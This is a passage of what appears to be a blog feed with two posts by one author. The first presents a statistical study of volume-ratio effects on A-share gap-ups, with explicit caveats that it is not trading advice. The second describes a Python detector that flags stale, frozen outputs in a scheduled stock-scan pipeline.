&lt;td&gt;4,575&lt;/td&gt;
&lt;td&gt;+0.90%&lt;/td&gt;
&lt;td&gt;+0.75%&lt;/td&gt;
&lt;td&gt;54.8%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.52%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-2.88%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;34.3%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+2~3% gap, vr&amp;lt;1&lt;/td&gt;
&lt;td&gt;10,046&lt;/td&gt;
&lt;td&gt;+0.50%&lt;/td&gt;
&lt;td&gt;+0.29%&lt;/td&gt;
&lt;td&gt;53.7%&lt;/td&gt;
&lt;td&gt;+0.76%&lt;/td&gt;
&lt;td&gt;+0.10%&lt;/td&gt;
&lt;td&gt;50.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+2~3% gap, vr&amp;gt;3&lt;/td&gt;
&lt;td&gt;3,213&lt;/td&gt;
&lt;td&gt;+0.55%&lt;/td&gt;
&lt;td&gt;+0.09%&lt;/td&gt;
&lt;td&gt;50.4%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.00%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-2.28%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;37.1%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Read the first and fourth rows against each other. Same gap size. Same 5-day horizon.&lt;br&gt;
Low volume: &lt;strong&gt;+3.2% median, 62% win rate&lt;/strong&gt;. 3x volume: &lt;strong&gt;-3.3% median, 34% win rate&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That is not a small effect, and it is not a single-cell artifact — the ordering&lt;br&gt;
(vr&amp;lt;1 &amp;gt; vr 1-2 &amp;gt; vr 2-3 &amp;gt; vr&amp;gt;3 on the 5-day median) holds in all three gap buckets.&lt;br&gt;
"Volume confirms the gap" gets the sign exactly wrong.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Is the mean lying? (fat-tail audit)
&lt;/h2&gt;

&lt;p&gt;The tightest cell has an +8.09% mean. Before anyone backtests that, here is its distribution:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;cell&lt;/th&gt;
&lt;th&gt;n&lt;/th&gt;
&lt;th&gt;mean&lt;/th&gt;
&lt;th&gt;median&lt;/th&gt;
&lt;th&gt;p25&lt;/th&gt;
&lt;th&gt;p75&lt;/th&gt;
&lt;th&gt;p95&lt;/th&gt;
&lt;th&gt;share of total P&amp;amp;L from the best 5%&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;+5~9% gap, vr&amp;lt;1&lt;/td&gt;
&lt;td&gt;1,424&lt;/td&gt;
&lt;td&gt;+8.09%&lt;/td&gt;
&lt;td&gt;+3.20%&lt;/td&gt;
&lt;td&gt;-4.79%&lt;/td&gt;
&lt;td&gt;+15.22%&lt;/td&gt;
&lt;td&gt;+27.84%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;54.2%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;+5~9% gap, vr&amp;gt;3&lt;/td&gt;
&lt;td&gt;3,497&lt;/td&gt;
&lt;td&gt;-1.71%&lt;/td&gt;
&lt;td&gt;-3.32%&lt;/td&gt;
&lt;td&gt;-8.42%&lt;/td&gt;
&lt;td&gt;+2.53%&lt;/td&gt;
&lt;td&gt;+21.01%&lt;/td&gt;
&lt;td&gt;-104.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Over half of that cell's entire P&amp;amp;L comes from its best 5% of cases, which are the 连板&lt;br&gt;
(consecutive limit-up) runs. &lt;strong&gt;The median, +3.2%, is what a typical trade earns&lt;/strong&gt;; the mean is&lt;br&gt;
a lottery ticket you cannot size. This is exactly the shape that makes people think a rule&lt;br&gt;
works: the aggregate looks great because of a handful of 10%-per-day sequences, while the&lt;br&gt;
p25 says a quarter of the entries are down nearly 5% five days later.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. Gap-downs: no knife-catching edge
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;gap&lt;/th&gt;
&lt;th&gt;n&lt;/th&gt;
&lt;th&gt;next-day mean&lt;/th&gt;
&lt;th&gt;next-day median&lt;/th&gt;
&lt;th&gt;next-day win&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;-3~-2%&lt;/td&gt;
&lt;td&gt;34,113&lt;/td&gt;
&lt;td&gt;+0.06%&lt;/td&gt;
&lt;td&gt;0.00%&lt;/td&gt;
&lt;td&gt;49.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;-5~-3%&lt;/td&gt;
&lt;td&gt;21,717&lt;/td&gt;
&lt;td&gt;-0.20%&lt;/td&gt;
&lt;td&gt;-0.27%&lt;/td&gt;
&lt;td&gt;46.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;≤-5%&lt;/td&gt;
&lt;td&gt;11,266&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.82%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-1.94%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;36.0%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Small gap-downs are indistinguishable from noise. Big ones keep bleeding instead of bouncing —&lt;br&gt;
there is no statistical case for "it already gapped down, so it's cheap."&lt;/p&gt;
&lt;h2&gt;
  
  
  One live session: 2026-10-22
&lt;/h2&gt;

&lt;p&gt;57 of 3,116 stocks gapped ≥+2%. &lt;strong&gt;70.2% closed below their open. 66.7% filled the gap the same&lt;br&gt;
day.&lt;/strong&gt; Nine opened at or above +9.9%:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;新亚制程 (002388): open +10.00%, close &lt;strong&gt;-10.00%&lt;/strong&gt; — an 18.2% round trip from the open&lt;/li&gt;
&lt;li&gt;天融信 (002212): open +9.99%, close -0.29%&lt;/li&gt;
&lt;li&gt;苏州龙杰 (603332): open +9.77%, close -3.47%&lt;/li&gt;
&lt;li&gt;九牧王 (601566): open +9.38%, close -6.35%&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Seven others held the limit all day. Those seven are also the &lt;strong&gt;data trap&lt;/strong&gt;: a 一字板 has almost&lt;br&gt;
no volume, so &lt;code&gt;vr&lt;/code&gt; collapses toward zero and every one of them lands in the "low volume" bucket.&lt;br&gt;
If you run this study without excluding limit-up gaps, you get a spectacular fake edge that is&lt;br&gt;
really just "consecutive limit-ups keep going." Excluding every gap ≥9%, the volume effect&lt;br&gt;
&lt;strong&gt;survives&lt;/strong&gt;: vr&amp;lt;1 next-day +1.04% / 5-day +2.10% vs vr&amp;gt;3 next-day +0.50% / 5-day &lt;strong&gt;-1.35%&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why this probably isn't a bug
&lt;/h2&gt;

&lt;p&gt;If a stock gaps up and volume triples, someone is unloading into the gap — the volume &lt;em&gt;is&lt;/em&gt; the&lt;br&gt;
supply. If it gaps up on below-average volume, there is no overhead supply; nobody wants to&lt;br&gt;
hand over shares at that price, and the next day's buyers have to pay up.&lt;/p&gt;

&lt;p&gt;That's a statement about participation, and in A-shares heavy participation at a price spike&lt;br&gt;
is frequently distribution. A much smaller study I published earlier — 15,900 stock-days on&lt;br&gt;
volume-confirmation breakouts — reached the same conclusion from a different angle: the&lt;br&gt;
volume-breakout bucket was the only &lt;em&gt;substantially&lt;/em&gt; negative one. Two independent cuts, same&lt;br&gt;
sign.&lt;/p&gt;
&lt;h2&gt;
  
  
  What I am not claiming
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Main-board only&lt;/strong&gt; — no ChiNext (300), STAR (688) or BSE. Those have 20%/30% limits and
different microstructure; these numbers do not transfer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The window drifts positive.&lt;/strong&gt; Baseline five-day is +0.36% mean. Every bucket above is
measured against that, not against zero.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No costs, no T+1 fill modelling.&lt;/strong&gt; A-share T+1 means you cannot exit the gap day; all
forward returns here are close-to-close.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Overlapping windows.&lt;/strong&gt; I quote no t-stats on purpose — 1.9M samples sound like a lot, but
five-day windows over 641 bars are heavily overlapping and not independent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adjusted-price artifacts.&lt;/strong&gt; Delisting names were dropped after a +632% sample exposed
how bad qfq data gets on restructured tickers.&lt;/li&gt;
&lt;li&gt;This is a measurement of what happened. Not advice, not a strategy, not a signal you should
trade. The honest summary is "the volume direction on a gap inverts the forward return" —
and the fat tail says do not size it like a sure thing.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Reproduce it
&lt;/h2&gt;

&lt;p&gt;Script, results JSON and the earlier studies are all here — no keys needed, feed it your own&lt;br&gt;
adjusted bars:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/Felixwang007/a-share-signal-lab" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/a-share-signal-lab&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python gap_study.py path/to/history_ext     &lt;span class="c"&gt;# one JSON per stock: adjusted daily bars&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you want the packaged version as an agent-callable tool (24-indicator technical scanner,&lt;br&gt;
three-pillar screener), it's running as an Apify actor here:&lt;br&gt;
&lt;strong&gt;&lt;a href="https://apify.com/coiled_senna/a-share-stock-mcp" rel="noopener noreferrer"&gt;https://apify.com/coiled_senna/a-share-stock-mcp&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you run the gap study on your own market, the two things worth copying are the&lt;br&gt;
volume cross-tab and the fat-tail audit. Bucket averages hide the shape that actually decides&lt;br&gt;
whether a rule is tradeable — and in this dataset the shape said the crowd was buying the&lt;br&gt;
wrong side of the gap.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Built a Frozen-Scan Detector. A Week Later It Fires Daily — and Nothing Consumes It</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 19 Oct 2026 04:02:23 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-built-a-frozen-scan-detector-a-week-later-it-fires-daily-and-nothing-consumes-it-31fe</link>
      <guid>https://dev.to/felixwang007/i-built-a-frozen-scan-detector-a-week-later-it-fires-daily-and-nothing-consumes-it-31fe</guid>
      <description>&lt;p&gt;This is the verdict my detector printed ten minutes ago, verbatim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;python tools/scanfresh/scan_freshness_guard.py check &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--ledger&lt;/span&gt; recommendations/signal_history.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--verify&lt;/span&gt; recommendations/signal_verify_log.jsonl &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--panel-dir&lt;/span&gt; history_ext &lt;span class="nt"&gt;--today&lt;/span&gt; 2026-10-19

verdict: FROZEN
  &lt;span class="o"&gt;!&lt;/span&gt; panel newest bar 2026-09-28 is 15 business days behind 2026-10-19
  &lt;span class="o"&gt;!&lt;/span&gt; trailing identical run of 15 entries &lt;span class="o"&gt;(&lt;/span&gt;2026-09-28 -&amp;gt; 2026-10-16, &lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4c29e76725&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;!&lt;/span&gt; 2 verification transition&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; advanced target_date without changing any measured detail
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exit code &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Three numbers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;15&lt;/strong&gt; consecutive sessions whose ledger entries are identical after stripping every timestamp.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;15 business days&lt;/strong&gt; how far the data panel those sessions claim to analyse has drifted behind today.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3&lt;/strong&gt; — how many of those identical entries were written &lt;em&gt;after&lt;/em&gt; I shipped this detector.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The third number is the one this post is actually about.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pipeline
&lt;/h2&gt;

&lt;p&gt;A local Python job over a panel of per-stock daily bars:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;panel (3,147 JSON files, one per stock)
  -&amp;gt; classify every stock into one of six technical patterns (build_dataset_v3.compute_tech)
  -&amp;gt; append {scan_date, dist, picks} to recommendations/signal_history.jsonl
  -&amp;gt; next session, score yesterday's picks, append to signal_verify_log.jsonl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is a pure function of the panel. Which is the entire bug surface: &lt;em&gt;if the panel stops being updated, the scan keeps succeeding at analysing the past.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What "success" was measuring
&lt;/h2&gt;

&lt;p&gt;The job's contract was "append a line and exit 0". It honoured that contract 21 times in a row. Every log line green, every night at 15:35, Weekdays only.&lt;/p&gt;

&lt;p&gt;A verification ledger is supposed to answer "were yesterday's picks right?". Mine answered with the identical four per-stock returns under three different target dates, because it was re-scoring a price file whose mtime had not moved since 2026-09-28 12:10.&lt;/p&gt;

&lt;p&gt;The panel detail that makes this concrete: 3,147 files exist, but only &lt;strong&gt;3,049&lt;/strong&gt; instruments appear on the newest bar. The other ~100 files stopped at earlier dates. Nothing complained — a file count is not a freshness measurement.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fingerprint the answer, not the activity
&lt;/h2&gt;

&lt;p&gt;Activity metrics — ran / exit code / rows processed / wall time — are all satisfiable by a frozen pipeline. The one reading that a frozen pipeline cannot fake is &lt;em&gt;did the substance of the output change?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So hash the fields that define the answer, and deliberately exclude the ones that define the run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SNAP_KEYS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dist&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;picks&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rebound&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;breaks&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SNAP_KEYS&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;picked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;picked&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                      &lt;span class="c1"&gt;# unknown shape -&amp;gt; whole record minus timing
&lt;/span&gt;        &lt;span class="n"&gt;picked&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;
                  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;scan_date&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;verify_date&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;target_date&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;generated&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;run_at&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ts&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="n"&gt;blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;picked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ensure_ascii&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()[:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sort_keys=True&lt;/code&gt; so re-serialising a dict cannot fake a change. &lt;code&gt;scan_date&lt;/code&gt; excluded so a date bump cannot fake one either. Anyone can recompute these fingerprints from the ledger with no access to my code.&lt;/p&gt;

&lt;p&gt;Three checks fall out of that:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;check&lt;/th&gt;
&lt;th&gt;reads&lt;/th&gt;
&lt;th&gt;trips when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;panel_stale&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;newest bar date vs expected last trading day, in business days&lt;/td&gt;
&lt;td&gt;gap &amp;gt; &lt;code&gt;--max-panel-gap&lt;/code&gt; (default 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;trailing_repeat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;fingerprints of consecutive ledger entries&lt;/td&gt;
&lt;td&gt;trailing identical run &amp;gt; &lt;code&gt;--max-repeat&lt;/code&gt; (default 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;verify_frozen&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;verification ledger: &lt;code&gt;target_date&lt;/code&gt; advances while per-item detail is identical&lt;/td&gt;
&lt;td&gt;any such transition&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two of the three also catch a subtler failure I had not thought about until I wrote the check: a pipeline can keep &lt;em&gt;reading&lt;/em&gt; while its numbers stop moving, and it can keep &lt;em&gt;re-dating&lt;/em&gt; while its measurements stay frozen. Both look like output growth. Neither is.&lt;/p&gt;

&lt;h2&gt;
  
  
  One week later: the detector is right, and irrelevant
&lt;/h2&gt;

&lt;p&gt;Here is the honest part. I built this, published the tool, wrote about the failure mode — and then never wired it to the writer. Since the guard landed, the writer cron has appended three more byte-identical entries. The guard's verdict has been &lt;code&gt;2&lt;/code&gt; every day. Nothing reads exit codes of a tool nothing calls.&lt;/p&gt;

&lt;p&gt;So the real lesson of this week is not "add a staleness check". It is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A detector whose verdict is not a precondition is a dashboard.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A green dashboard on a frozen pipeline is worse than no dashboard, because now there are two artifacts telling you everything is fine: the writer's &lt;code&gt;exit 0&lt;/code&gt; and the detector's existence.&lt;/p&gt;

&lt;p&gt;The fix is one line in the writer, and I am writing it here so I have to do it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;tools/scanfresh/scan_freshness_guard.py&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;check&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--ledger&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LEDGER&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--panel-dir&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PANEL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--today&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="n"&gt;returncode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;refusing to append a snapshot I cannot vouch for&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The snapshot must not be written at all. Logging the alarm while writing the stale entry anyway is the same bug with extra ceremony.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rules I now apply to any scheduled analysis job
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Green is not evidence.&lt;/strong&gt; "Ran, exit 0" is a statement about the runner. Ask which reading would have been &lt;em&gt;different&lt;/em&gt; had the job failed. If the answer is "none", you measured nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask what the job's output would look like if it were secretly frozen.&lt;/strong&gt; That question is cheap to answer and it is where all my reliability bugs live.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprint the answer, exclude the clock.&lt;/strong&gt; Timestamps, run ids, row counts and file counts all change when nothing has changed — and none of them change when everything has.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"No input" needs its own exit code.&lt;/strong&gt; The guard returns &lt;code&gt;3 INSUFFICIENT&lt;/code&gt; when handed nothing to judge, because a checker that examined zero entries must never print "healthy" — the same reason a file scanner that opened zero files must never print "clean".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two identical days are normal; fifteen are not.&lt;/strong&gt; Make the threshold explicit, tune it against your own hit rate, and remember that a single repeat is not a signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gate, don't report.&lt;/strong&gt; A verdict nobody consumes is decoration. The check belongs in the writer's precondition, and the failure mode should be &lt;em&gt;no snapshot written&lt;/em&gt;, not &lt;em&gt;snapshot written plus a warning logged&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The detector
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;tools/scanfresh/scan_freshness_guard.py&lt;/code&gt; — stdlib only, 409 lines, exit codes &lt;code&gt;0&lt;/code&gt; HEALTHY / &lt;code&gt;2&lt;/code&gt; FROZEN / &lt;code&gt;3&lt;/code&gt; INSUFFICIENT / &lt;code&gt;1&lt;/code&gt; error, with an 18-assertion &lt;code&gt;selftest&lt;/code&gt; over synthetic fixtures:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
